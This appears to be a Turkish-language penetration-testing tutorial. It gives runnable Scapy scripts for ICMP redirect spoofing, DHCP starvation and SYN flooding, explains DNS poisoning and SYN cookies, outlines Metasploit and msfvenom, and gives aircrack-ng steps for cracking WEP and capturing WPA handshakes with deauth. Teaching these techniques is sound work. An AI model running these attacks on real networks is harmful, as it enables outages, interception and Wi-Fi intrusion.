# Here we create an ICMP Redirect packet
ip=IP()
ip.src=originalRouterIP
ip.dst=victimIP
icmpRedirect=ICMP()
icmpRedirect.type=5
icmpRedirect.code=1
icmpRedirect.gw=attackerIP

# The ICMP packet payload /should/ :) contain the original TCP SYN packet
# sent from the victimIP
redirPayloadIP=IP()
redirPayloadIP.src=victimIP
redirPayloadIP.dst=serverIP
fakeOriginalTCPSYN=TCP()
fakeOriginalTCPSYN.flags="S"
fakeOriginalTCPSYN.dport=80
fakeOriginalTCPSYN.seq=444444444
fakeOriginalTCPSYN.sport=55555

# Release the Kraken!
while True:
send(ip/icmpRedirect/redirPayloadIP/fakeOriginalTCPSYN)

Paket Kurbandan adresinden çıkarken kaynak kısmını değiştirmek için iptables kullanılabilir.

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

DHCP

DHCP servisini indirip kendi dhcp servisimizi başlatarak gateway adresini değiştirerek bunu başarabiliriz.

İlk olarak DHCP sunucusundaki havuzu doldurmak (DHCP-Starve)

$ scapy
for i in range(2,255):
    mac = str(RandMAC())
    dhcpServerID="192.168.255.51"
    eth = Ether(dst="ff:ff:ff:ff:ff:ff",src=mac)
    ip  = IP(src="0.0.0.0",dst="255.255.255.255")
    ud  = UDP(sport=68,dport=67)
    bootp = BOOTP(chaddr=mac)
    dhcp = DHCP(options = [ ("message-type","request"),("requested_addr","192.168.255."+str(i)),("server_id",dhcpServerID),"end"])
    sendp(eth/ip/ud/bootp/dhcp)

daha sonra bir dhcp sunucusunu ayağa kaldırıp broadcastte dhcp keşfi aryan makinalara ip adresini vererek trafiği inceleyebiliriz. DHCP server olarak dnsmasq örnek verilebilir.

TCP

TCP/Dos saldırısı TCP/SYN paketinin kaynak ip ve port bilgilerini değiştirerek gönderebilir. Servise yönelik yapılacağı zaman daha etkilidir.

Scapy kullanarak şu şekilde yapılabilir:

$ scapy
ip = IP(src=RandIP(),dst="0.0.0.0")
tcp = TCP(sport=RandShort(),dport=80,flags="S")
paket = ip/tcp
send(paket,loop=1)

mz adlı aracı kullanmak istersek:

mz -B >ip< -t tcp "sp=1-65535,dp=80,flags=syn" -c 0

SynCookie

Sunucu ilk açıldığında rastgele bir sayı üretilir ve bu X sayısı kaynak ip, kaynak port ve hedef port ile toplanır. Sunucuya gelen SYN+ACK requestinde gelende seq numarasını bir azaltıp geriye doğru kontrol eder. Bu sayede sunucudaki tablonun doldurulması engellenebilir.

---SYN--->
<--SYN-ACK- # sequenceNumarası = KaynakIP + KaynakPort + HedefPort + X
---ACK--->  # Burda Client acknowledgeNumarasına sequenceNumarası+1 yazmalı

Yukarıdaki gibi bir 3 way handshake işleminde, Sunucu tarafında gelen acknowledge kısmını bir azaltıp adresleri kontrol ederek oturumun başarılı bir şekilde devam ettiğini daha az masrafla tablo kullanmadan anlayabilir.

[!] Ubuntu Serverda bu özellik varsayılan olarak aktiftir.

DNS Zehirlenmesi (DNS POISONING)

DNS sunucusuna kendisinde olmayan bir kaydı sorup aynı zamanda sorusunun cevabını da yollaması halinde DNS sunucusunun cacheine istediği kaydı yazdırabilir.

IP adresi bilinmeyen bir siteyi recurse olarak sorgulamazsak.

$ dig 0xf61.com +norecurse
; <<>> DiG 9.10.3-P4-Debian <<>> 0xf61.com +norecurse
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 13176
;; flags: qr ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;0xf61.com.      IN  A

;; Query time: 1 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Sun Jul 29 11:07:03 +03 2018
;; MSG SIZE  rcvd: 49

IP adresi bilinmeyen bir siteyi recurse olarak sorgularsak.


$ dig 0xf61.com

; <<>> DiG 9.10.3-P4-Debian <<>> 0xf61.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58885
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;0xf61.com.      IN  A

;; ANSWER SECTION:
0xf61.com.   3599    IN  A   1.1.1.1

;; Query time: 103 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Sun Jul 29 11:07:07 +03 2018
;; MSG SIZE  rcvd: 65

Tekrardan recurse sorgu olmadan sorarsak.

$ dig 0xf61.com +norecurse

; <<>> DiG 9.10.3-P4-Debian <<>> 0xf61.com +norecurse
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50059
;; flags: qr ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
;; QUESTION SECTION:
;0xf61.com.      IN  A

;; ANSWER SECTION:
0xf61.com.   3596    IN  A   1.1.1.1

;; Query time: 2 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Sun Jul 29 11:07:10 +03 2018
;; MSG SIZE  rcvd: 65

Zafiyet

Riski oluşturan erişim noktasıdır.

Zafiyet Türleri

  • Sömürü Tipleri:
    • Remote (Uzaktan Erişim sağlanır.)
    • Local (Doğrudan Erişim gerekir.)
    • 0-Day (Sıfırıncı Gün Açığı)
  • Payload
    • Reverse: Sunucu -> Client
    • Bind: Client -> Sunucu
  • PostExxploitation
  • Otomatize
  • Version/Patch
    • exploit-db.com
    • cvedetails.com
    • 0day.today
    • github.com
  • Nmap
    • --scripts=vulners
      • smb-vuln-ms08-67.nse
  • Nikto
  • Fuzzing

Zafiyet İstismarı

  • Kaynak Koddan
  • Uygulama Çatıları
    • Metasploit-Framework
      • Auxiliary: Sistemi tanımaya yarayan modüller
      • Exploit: Zafiyeti sömürmek için kullanılabilecek modüller
      • Payload: Zafiyet sömürüldükten sonra çalıştırılabilecek modüller
      • Post: Sisteme erişildikten sonra yetki yükseltmek veya verilerini almak gibi modüller bulundurur
      • Encoders: Oluşturulan bir çalıştırılabilir dosyayı antivirüs programlarından kaçırmak için modüller.
      • Meterpreter: Bir çeşit kabuk(shell) denilebilir. Port yönlendirme, ekran görüntüsü alma ve klavye tuşlarını yakalamak gibi ekstra özelliklere sahiptir.
    • Msfvenom
      • -p #Payload, -f #Format
      • Encoders
        • --list-encoders
        • -e

g0tmi1k : Usage PsPy

Bazı CTF sitelerine örnek vermek gerekirse.

CTFTIME

CTFS

Vulnhub

HACKTHEBOX

Kablosuz ağ güvenliği için eğer donanım monitör modunu desteklemiyorsa harici bir ağ kartına ihtiyaç vardır.

Donanımı dinleme moduna almak gerekiyor.

airmon-ng start wlan0 # wlan0 --> wlan0mon

Etraftaki sinyalleri görmek için airodump-ng kullanılır.

airodump-ng wlan0mon

Donanımı dinleme modundan çıkarmak için.

airmon-ng stop wlan0 # wlan0mon --> wlan0

BSSID: Kablosuz kartının fiziki mac adresi

PWR: Yayının sinyal gücü

Beacon: Kablosuz yönetimi için kullanılan çeşitli yönetim paketlerinin sayısı

Data: Beacon harici geri kalan paketlerin sayısı

CH: Hangi kanalda yayın yaptığını gösterir

ENC: Şifreleme yöntemi

CIPHER: Şifreleme türü. CCMP -> AES

AUTH: Önceden paylaşımlı anahtar(PSK), MGT veya OPEN gibi kimlik doğrulama yöntemini gösterir

ESSID: Kablosuz yayının ismi

[!] airodump-ng -a parametresiyle sadece bağlı olan clientler gösterilebilir


WEP

Üst taraftaki tablodan bu bilgiler elde edildikten sonra alt taraftaki tablodan da kablosuz ağa bağlanmış veya bağlanmaya çalışan diğer cihazları görebiliriz.

Tek bir erişim noktasını dinlemek için kanal, mac adresi vermek yeterliyken daha sonra şifreyi bulabilmek için -w parametresiyle trafiği kayıt edebiliriz.

airodump-ng -c #CH --bssid #00:00:00:00:00:00 -w pcap wlan0mon

Alınan paketlerin sayısını arttırmak için sahte bir oturumla arp paketlerini kullanarak şansımızı arttırabiliriz.

aireplay-ng --fakeauth 1 wlp1s0mon -a #bssid
aireplay-ng --arpreplay wlp1s0mon -b #bssid

Yeterli pakete ulaşılması durumunda aircrack-ng kullanılarak kırılabilir.

aircrack-ng pcap

WPA

airodump-ng -c #CH --bssid #00:00:00:00:00:00 -w pcap wlan0mon

Handshake yakalamak için deauth paketi gönderilebilir.

aireplay-ng -0 100 -a #AccessPoint -c #Client wlan0mon

Dinlemeye başladıktan sonra WPA HANDSHAKE yakalandığında dinlemeyi bırakıp oluşturulan pcap dosyasını aircrack ile sözlük saldırısı kullanılarak kırılabilir.